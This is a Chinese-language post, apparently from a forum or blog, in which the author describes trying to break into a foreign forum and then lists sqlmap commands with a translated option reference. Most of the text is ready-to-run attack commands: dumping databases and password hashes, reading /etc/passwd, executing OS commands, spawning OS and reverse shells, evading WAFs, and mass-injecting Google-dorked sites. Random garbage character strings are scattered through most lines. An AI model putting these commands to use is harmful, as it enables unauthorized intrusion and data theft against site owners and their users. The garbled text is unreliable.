今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
4 y- @+ g6 z4 n$ R, Lsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称0 X2 s+ w) F. k, T) S% w" ?
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
5 t! o H7 H( {9 m2 l4 y: Jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段1 D I4 K: h# C; a
) F, O( i& i1 v- h y
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v; H r8 }) n/ a2 ~ x# s
0 #获取字段内容
# `, H9 `2 a4 d$ h- l
8 {( O! k, B4 ~******************信息获取******************5 y+ j" n; f& J; p
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
8 t5 m: ?3 a1 b! L6 }sqlmap -u “http://url/news?id=1″ –users #列数据库用户; Q. [# ]! u' R4 ]. U
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
8 J, H& w, W$ o+ \, s( k) m3 B# Qsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
3 l# _9 y7 R1 l a9 A' lsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
* q1 k Y7 C. X, Q. Csqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”: G: l9 }7 E: l+ X! D
–start 1 –stop 20 #列出指定字段,列出20 条
1 N: y1 Y0 g( j% ?2 o0 E7 Dsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表. E3 U; R3 L) { p6 @1 w0 ^" w2 W
sqlmap -u “http://url/news?id=1″ –privileges #查看权限0 b, o7 H* |7 X1 {: n
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色9 _7 Y4 E1 ?$ s# g, P# q+ t( q
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
' `. x- |0 w0 k6 qsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
8 y& W8 K) y7 k% |0 }4 j* wsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
% I, ?. F( y/ Z/ q3 P% ?) {- `sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入; a1 M( s$ z' o; ~9 g- m8 w7 ?
sqlmap -u “http://url/news?id=1″-b #获取banner信息
1 W4 e7 ?9 W3 p: s+ K+ J, \sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
2 Z/ M- C9 d$ `0 I- K5 }sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型4 m2 E* L H0 I8 S1 d# ~
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入! B; @8 i2 C/ V/ |" R9 r9 K$ [ `
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 g3 S8 `* t2 d$ G! J- Z: C2 t9 Osqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
' U- Y8 R0 Q7 y0 z3 x4 Wsqlmap -u “http://url/news?id=1″ –file /etc/passwd" w0 w f- c9 s o
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令8 C3 z) \* h1 N |
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
* {0 B( J7 g6 f1 y3 Jsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
( s' k8 F) L$ a F4 _) msqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
8 U# w, N& h7 |! I. @+ asqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
, z3 D% c7 |, r, E( s***********高级用法*************! L6 c2 f- P3 w; J& }+ b
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
& R7 h% P9 G: c) }sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
; @' t( N/ f9 Z. ^. U; \7 a–technique 测试指定注入类型\使用的技术
, Y0 _2 N/ v0 O" A7 f& H( K不加参数默认测试所有注入技术
# s2 p e) M$ V! L& _& L• B: 基于布尔的SQL 盲注6 {: h$ Q6 V3 F/ u
• E: 基于显错sql 注入
$ V3 f3 O0 e6 a1 s) w5 J• U: 基于UNION 注入% ^' F6 ?3 V" W% [
• S: 叠层sql 注入
9 e' _ Y2 @2 M( Z" I9 K• T: 基于时间盲注
: \; G: d6 D& h, P2 J–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()9 a3 Y1 o3 N- u
–tamper 插件所在目录
$ f, B4 o( e8 k. k9 r\sqlmap-dev\tamper% r* a ~) R1 F5 i7 k+ E
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
1 t T2 `8 L1 l0 k; ^# Flevel 执行测试等级 攻击实例:
# u8 B+ M- U& L1 a, DSqlmap -u “http://url/news?id=1&Submit=Submit”
+ _% s6 ~6 J+ f; l; i) ~' M–cookie=”PHPSESSID=41aa833e6d0d
3 w; ]5 m7 V2 R U5 m+ D28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user& Q1 @$ s f$ i4 y# I' }/ U
–password3 x5 z! P* |1 q, P
参考文档:http://sqlmap.sourceforge.net/doc/README.html
9 {- x8 ` D& @7 j" H***********安装最新版本*************
8 A' n) L8 Y8 B$ j8 Bubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版9 @, `9 y' V! F% G" Z# i
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& z, V4 l R9 l6 Q8 K" D" A
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
! S" E8 ~" @" Q0 r7 u4 N* y0 r9 Esudo vim /home/当前用户/.bashrc
. Z; Y6 P# r3 A- M, S; k% a#任意位置加上:2 M& O4 u0 U: }# S4 \0 Y* w/ W" l
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效9 H! g$ `: h+ m2 E$ u
如果想对所有用户有效 可设置全局 编辑下面的文件3 {/ Z4 v0 u2 ?9 p) [9 m: S
vim /etc/profile
6 i8 O: @' v# B" o同样加上:
+ c- g8 @1 y/ b$ P0 U4 m7 Qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
" r+ ~: R! O/ A% w; D* {" D* A******************windows 7 (x64) sqlmap install (SVN)************3 u( U4 q e- E# U3 t7 J
http://www.python.org/getit/ 安装python
- w/ q: i# ^9 q) v' Q* vhttp://www.sliksvn.com/en/download 安装windows svn client) L3 T+ F0 ~; H' N
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
) s" T# `+ P, a6 a安装sqlmap# y8 |6 S m: s6 {+ X/ p4 I
*修改环境变量
3 _0 `6 v4 {9 f9 b% j–version 显示程序的版本号并退出) z5 N/ v2 Q. S+ H2 |* w
-h, –help 显示此帮助消息并退出
7 `3 y: S' Z) w, F2 n% c7 N-v VERBOSE 详细级别:0-6(默认为1)% z0 H0 ~5 G' v3 X" q- w6 [* H
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。) E1 n0 u' ^3 M$ U
-d DIRECT 直接连接到数据库。2 l S* z" k, }- D( S
-u URL, –url=URL 目标URL。
8 _- G2 q+ P2 A# n' N$ N-l LIST 从Burp 或WebScarab 代理的日志中解析目标。/ f! B( n5 z0 U* s$ P- D
-r REQUESTFILE 从一个文件中载入HTTP 请求。
1 n4 ?- o- ~2 Z-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
5 u+ e3 K! Z h4 N-c CONFIGFILE 从INI 配置文件中加载选项。/ M. J0 w' q2 T. a, d% H
Request(请求)::- Q7 d0 g' j7 f& z9 o* r
这些选项可以用来指定如何连接到目标URL。
7 |/ u- ]" S5 w/ j9 [' A! l5 H–data=DATA 通过POST 发送的数据字符串7 A( [/ {: M1 v
–cookie=COOKIE HTTP Cookie 头
7 T; v. Z) \4 S–cookie-urlencode URL 编码生成的cookie 注入/ _& U/ p; s2 T9 Q2 e$ b
–drop-set-cookie 忽略响应的Set –Cookie 头信息
* T5 G0 ?8 s3 z* F
) P5 c5 x6 @: P! C–user-agent=AGENT 指定 HTTP User –Agent 头
) ?7 l% r7 X, S% q( Q1 |) b- h, c ?–random-agent 使用随机选定的HTTP User –Agent 头
( Y& }( }8 l4 p5 W–referer=REFERER 指定 HTTP Referer 头
( B7 q6 ^: Y+ T0 I4 O8 T1 |" W–headers=HEADERS 换行分开,加入其他的HTTP 头) L9 K" y3 A. B% I5 K- Y- g
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
. V% r8 }4 r# K% l–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
% O) X' ]% K# g n–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)2 z( i7 y5 x* y5 u
–proxy=PROXY 使用HTTP 代理连接到目标URL
$ J& R# J, F9 h5 m: e–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
5 A) C7 V' v5 O$ T9 F$ x6 r–ignore-proxy 忽略系统默认的HTTP 代理4 h9 h2 S: n2 t l
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒7 R! i |$ L1 |2 w4 O( m
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)0 W7 \4 _& W7 m. c7 }* i2 [4 }$ u
–retries=RETRIES 连接超时后重新连接的时间(默认3)& L$ T& Z, z5 f3 Y3 g+ h. c
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
" O8 E( h U$ Z4 r, c–safe-url=SAFURL 在测试过程中经常访问的url 地址0 Y% A' F" g5 j
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL1 a' I5 u9 I7 }, n
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
# i; \ s/ _# ~4 h7 U, X n-o 开启所有优化开关. N& w8 @2 d( Y" s2 i" t
–predict-output 预测常见的查询输出5 C% u! R- h9 J' d
–keep-alive 使用持久的HTTP(S)连接+ D6 T }) ?8 l B: z
–null-connection 从没有实际的HTTP 响应体中检索页面长度3 n* V. f$ ^' p
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
) Z1 p& u0 k5 bInjection(注入):
, S$ `! [9 k+ l" }4 e! q这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
6 o) V- T4 P3 g9 X6 S-p TESTPARAMETER 可测试的参数(S)
: n# Q2 s9 G5 ^$ X–dbms=DBMS 强制后端的DBMS 为此值
& G6 Z! I' M% Z2 P0 J% j–os=OS 强制后端的DBMS 操作系统为这个值# P& U1 x; a7 S' v% C
–prefix=PREFIX 注入payload 字符串前缀2 S3 R# S, o o& I" r6 ]
–suffix=SUFFIX 注入 payload 字符串后缀9 w: K6 g5 h5 Y% Q$ Z
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
3 q# w6 r& |% j$ tDetection(检测):
7 @6 g3 J$ y1 f, {, e; t9 d+ V9 Y; |" m这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。1 j+ y4 f5 l. G3 b
–level=LEVEL 执行测试的等级(1-5,默认为1)% d$ k# N3 B& ] e. D
–risk=RISK 执行测试的风险(0-3,默认为1)3 p& Z: R; i1 b4 }2 G2 q3 R( X7 r7 |
–string=STRING 查询时有效时在页面匹配字符串* u+ T( E' C0 h. m( k7 W3 l
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
9 K6 ^( n! Z/ h, s–text-only 仅基于在文本内容比较网页! H* `9 X5 U7 [2 d6 ?
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
+ P9 _ C7 c7 E" ^0 m0 U+ B–technique=TECH SQL 注入技术测试(默认BEUST)
4 P5 w4 ~2 O- y; U/ T" y–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)( O2 p1 W- G. O# I
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
6 |1 }! x! p0 L& F7 x–union-char=UCHAR 用于暴力猜解列数的字符
t2 J) p; ?0 cFingerprint(指纹): Q* W% Q& [1 z) T# N" Z& S
-f, –fingerprint 执行检查广泛的DBMS 版本指纹 F6 h7 ^2 c+ l9 q2 g# b& J: j
Enumeration(枚举):6 j* I% _2 a7 c. s9 w
- o) G+ Q0 ^# Q+ w! e) V9 L这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。7 b( r3 u/ [. ~, g
-b, –banner 检索数据库管理系统的标识
# ~7 j' C0 x' z7 H E" `( N–current-user 检索数据库管理系统当前用户
; q; l6 u P+ x* Y5 z1 R3 j/ \–current-db 检索数据库管理系统当前数据库
. Y8 O, F3 v) p–is-dba 检测DBMS 当前用户是否DBA
3 r( t- H A/ X2 f7 `5 Q–users 枚举数据库管理系统用户4 y0 G* m! r4 ?( s2 ]
–passwords 枚举数据库管理系统用户密码哈希
. I5 k4 [4 |+ [ E: Y–privileges 枚举数据库管理系统用户的权限$ f, W9 R! q' o- V; r
–roles 枚举数据库管理系统用户的角色# r3 h: G) f3 U4 U1 K* N% {
–dbs 枚举数据库管理系统数据库- R$ a# z! E2 V( a6 |3 g
–tables 枚举的DBMS 数据库中的表
6 [( f; g' c7 c: k' r$ \9 g! m–columns 枚举DBMS 数据库表列6 {( z: ]" m8 C" N' e' C2 e
–dump 转储数据库管理系统的数据库中的表项
# \& {. ^) W8 p* c6 l–dump-all 转储所有的DBMS 数据库表中的条目
/ V8 K7 `) P, e+ [4 y–search 搜索列(S),表(S)和/或数据库名称(S)
$ ?7 x( t- m( @- T" V+ ]-D DB 要进行枚举的数据库名
# n6 A# J4 p8 y% Z2 q$ [-T TBL 要进行枚举的数据库表
6 t1 z: ^( @ O |-C COL 要进行枚举的数据库列
3 \' O& I+ w8 f9 Q6 w$ v: `-U USER 用来进行枚举的数据库用户+ A2 H1 @* W5 c% f4 L! k
–exclude-sysdbs 枚举表时排除系统数据库+ ?3 Q/ A/ b# [4 E8 T
–start=LIMITSTART 第一个查询输出进入检索
; v c% f; K# g/ j3 x$ L1 I1 l- @–stop=LIMITSTOP 最后查询的输出进入检索. D# q# ~8 w! ]7 B3 ?; _8 r" y
–first=FIRSTCHAR 第一个查询输出字的字符检索$ \5 R0 P! R* F
–last=LASTCHAR 最后查询的输出字字符检索
6 M0 `3 Z3 k" ~* j$ ?2 o/ c–sql-query=QUERY 要执行的SQL 语句6 h' f6 {2 i7 \" D: N3 b: p0 f
–sql-shell 提示交互式SQL 的shell$ l: |) v* Q+ p, n
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。3 @- S9 D/ [8 A- H+ [
–common-tables 检查存在共同表/ {+ ~6 I* K! s4 M2 s X
–common-columns 检查存在共同列1 I9 \' R {2 p9 \& E
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。$ A$ l5 @7 n' e3 `
–udf-inject 注入用户自定义函数
6 j2 V: `( O X–shared-lib=SHLIB 共享库的本地路径
% _2 U& Q. l) s7 \% X8 L1 {File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。6 X2 i4 W8 P( x# s3 P P
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
; E& U( J* t/ T9 R& L( E–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件2 @& B; g H% o3 X% _, z' C
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
1 t2 W, W4 [. F$ eOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。% @& y2 ~: F3 X: p( {
–os-cmd=OSCMD 执行操作系统命令2 t5 _ P! @; E
–os-shell 交互式的操作系统的shell9 B3 B+ t0 i r/ m
–os-pwn 获取一个OOB shell,meterpreter 或VNC3 d- ]+ ]& }3 H- \( E. Y. \" j
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC# i- J* u2 I7 F9 B/ h
–os-bof 存储过程缓冲区溢出利用
V$ \% H# h% J: A8 e4 A) E–priv-esc 数据库进程用户权限提升: @& S( K a- C* {
–msf-path=MSFPATH Metasploit Framework 本地的安装路径3 @/ p# N4 k! T5 J
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
8 h( C8 e1 b. L. _* I) w
|7 a( Z) [7 U; O8 T- {Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。# |# t& j3 B j( a* m/ F5 V# w) k
–reg-read 读一个Windows 注册表项值- b2 ~) i. q" T( P
–reg-add 写一个Windows 注册表项值数据6 D$ r* y5 _+ k, X1 z4 ~
–reg-del 删除Windows 注册表键值9 ]7 m. A% R9 t
–reg-key=REGKEY Windows 注册表键
4 ]1 @/ s8 Q+ }$ ]0 d c& s& M–reg-value=REGVAL Windows 注册表项值" i3 Z) g" P$ O. I# l! t. `- J
–reg-data=REGDATA Windows 注册表键值数据
. T2 w8 _7 {" w" O- G–reg-type=REGTYPE Windows 注册表项值类型. B1 H% w) j5 O) o
General(一般): 这些选项可以用来设置一些一般的工作参数。* s2 y9 L3 X! m/ c$ E
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中3 C9 S6 U( K, U3 L
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
2 L) y5 f. [" r S–flush-session 刷新当前目标的会话文件
( E; o3 _) C$ P2 I" E–fresh-queries 忽略在会话文件中存储的查询结果! s5 z" R% b7 Z$ J& z& ]1 |
–eta 显示每个输出的预计到达时间" l. n0 H& u2 U( |
–update 更新SqlMap8 I# n: Z; i; n% o- \+ d
–save file 保存选项到INI 配置文件
$ O0 v9 ?+ O2 M( Y0 ?–batch 从不询问用户输入,使用所有默认配置。
' }. R" T4 o* R" @: { |Miscellaneous(杂项):
, j) D+ F( Q( p–beep 发现SQL 注入时提醒; U) m' t0 {7 s% p0 {4 J- K
–check-payload IDS 对注入payloads 的检测测试
) g% P8 F1 x, A: f4 B/ q3 Z–cleanup SqlMap 具体的UDF 和表清理DBMS1 P+ o# y) u2 J4 S" R& R5 \
–forms 对目标URL 的解析和测试形式+ O+ x4 Z5 x: ^* a: |; V# N
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果+ V) X/ v4 P5 F* Z; O- v
–page-rank Google dork 结果显示网页排名(PR)- }4 i4 V0 L! L: W' _9 N
–parse-errors 从响应页面解析数据库管理系统的错误消息) G6 J1 y, K- Z. q
–replicate 复制转储的数据到一个sqlite3 数据库
( `! [% x- o$ s% K" j" Q–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
" A6 q1 U' a( f9 V–wizard 给初级用户的简单向导界面 |